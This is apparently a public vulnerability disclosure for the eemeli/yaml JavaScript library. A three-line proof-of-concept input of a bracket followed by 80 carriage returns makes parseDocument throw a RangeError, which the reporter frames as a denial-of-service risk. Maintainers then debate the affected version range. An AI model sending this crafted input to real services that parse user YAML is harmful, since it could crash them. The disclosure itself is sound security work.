Uncaught exception in document parsing functions in eemeli/yaml
Reported on
Apr 22nd 2023
Description
The parseDocument and parseAllDocuments functions should never throw according to the documentation. However, when these functions are fed an invalid input with a lot (≥80) of carriage return characters (\r), an exception is thrown, which originates in the prettifyError function.
Proof of Concept
// reproduce.js
const yaml = require("yaml");
const string = "[" + "\r".repeat(80);
yaml.parseDocument(string);
$ yarn node reproduce.js
yarn node v1.22.19
/home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54
const pointer = ' '.repeat(ci) + '^'.repeat(count);
^
RangeError: Invalid count value
at String.repeat (<anonymous>)
at /home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54:46
at Array.forEach (<anonymous>)
at Object.parseDocument (/home/nazar/src/yaml-bug/node_modules/yaml/dist/public-api.js:54:20)
at Object.<anonymous> (/home/nazar/src/yaml-bug/reproduce.js:3:6)
at Module._compile (node:internal/modules/cjs/loader:1254:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1308:10)
at Module.load (node:internal/modules/cjs/loader:1117:32)
at Module._load (node:internal/modules/cjs/loader:958:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
Node.js v18.14.2
Impact
Code that parses user-supplied YAML input and relies on parseDocument and parseAllDocuments never throwing is vulnerable to denial of service attacks.
Yup, that looks like a bug, amusingly enough in code that's prettifying errors.
@admin How can I mark it so that the affected version range has a minimum of 2.0.0-5?
yaml@1.x is used in babel-plugin-macros which is used in create-react-app. That is to say that a LOT of people are currently seeing a false positive because the bug did not exist in 1.x! I've seen 10 - 15 people come and take interest in this supposedly high severity security issue in a tool they trust, and I have to tell them to go away because the whole thing is a big misunderstanding. Please fix! Here are the materials that confirm when the bug was introduced:
Incidentally the first affected version was 2.0.0-4 not 2.0.0-5:
https://www.npmjs.com/package/yaml/v/2.0.0-4?activeTab=code https://github.com/eemeli/yaml/commit/59398d2d4e3d8c33a8131a04c34c17f518d0bd70
I have updated the affected version as requested, on platform and for the CVE.
@admin @benharvie Please fix the affected range as I requested earlier to have a minimum of 2.0.0-5, and a maximum of 2.2.1. Versions before 2.0.0-5 are not affected. GitHub for instance has this right: https://github.com/advisories/GHSA-f9xv-q969-pqx4
The specific change that originally introduced the problem was this: https://github.com/eemeli/yaml/commit/89119eeec4a305d741b26d1a49ffa1ac67394a8e#diff-55db69e02ff5714d444d8081ec6ecac5d9833fb29fda64d1e829e5766434fdc0R97
@eemli I beg to disagree. My previous link didn't work right, so here's a better link to the issue present in the code inside the npm package for 2.0.0-4: https://unpkg.com/browse/yaml@2.0.0-4/dist/errors.js
Oh I see, you're pointing to a different commit than I was looking at. I still don't understand exactly what caused the bug I guess...
@conartist6 I invite you to experiment with the reproduction given above using different versions of yaml, and see the results for yourself.